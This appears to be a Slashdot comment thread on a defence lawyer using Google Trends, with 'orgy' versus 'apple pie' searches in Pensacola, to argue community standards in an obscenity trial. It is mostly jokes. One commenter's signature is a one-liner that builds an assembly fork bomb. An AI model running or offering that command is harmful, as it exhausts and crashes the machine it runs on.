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Google Trends vs. Community Standards On Obscenity
circletimessquare writes "Google Trends is being used in a novel way in a pornography trial in Florida. Under a 1973 Supreme Court ruling, 'contemporary community standards' may be used as a yardstick for judging material as unprotected obscenity. This is a very subjective judgment, and so Lawrence Walters, a defense lawyer for Clinton Raymond McCowen, is using Google Trends to show that, in the privacy of their own homes, more people in Pensacola (the only city in the court's jurisdiction that is large enough to be singled out in the service's data) are interested in 'orgy' than "apple pie'."
As American Pie demonstrated, it just doesn't work as well as they claim.
Yeah, but did he try "warm apple pie". I bet he'd get very different results! :-D
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Can anyone put up a picture of the U.S. (and world) that highlights areas that find apple pies more interesting that orgies?
Help! I'm a slashdot refugee.
O.k., I can understand "Apple Pie" spiking every fall, presumably people looking up recipes. But wtf is up with the enormous spike in searches for "orgy" in Sept. 2006? It's as if everyone in Pensacola had a mass orgy meme sweep through the community. Must have been a mess month.
1984 was supposed to be a warning, not an instruction manual.
As a navy semen, I reject your pornosition that sex is always on our minds.
An old-timer with old-timey ideas.
The pattern for "Apple Pie" is clearly seasonal, but where did the peak for "Orgy" around October 2006 come from?
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Interesting statement. "meant" - by whom? Who says it should be performed in private (except people nowadays)?
You're assuming quite a bit, I suspect. I, on the other hand, know for sure that the FSM meant for sexual intercourse to be performed in large tubs of grated parmesan cheese by dozens of people at once.
The comparison is skewed.
I knew that when I saw the word "lawyer"You can't take the sky from me...
Whole new meaning for "His Noodley Appendage"
It is amazing how easily "procreation" and "procrastination" can be confused when you don't have your morning coffee.
In either case, I agree!
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Actually, there is a body of research that suggests this was the original meaning, but that the faith has been corrupted and twisted with time.
You're thinking small. Why miniaturize the laser, when we could instead enlarge the sharks? -John Searle
I live in Pensacola.
Um, yeah.
You heard it here, from "Mr. Slippery".
"Plants are sexual too"
Yea, I've been noticing my petunias giving me the eye lately. Must be that time of year...
I hate printers.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Personally, I'd be more worried that your plants have eyes.
Cynical Idealist
so... GPs moral decline is simply a return to the good-old-values from 500 years ago :-)
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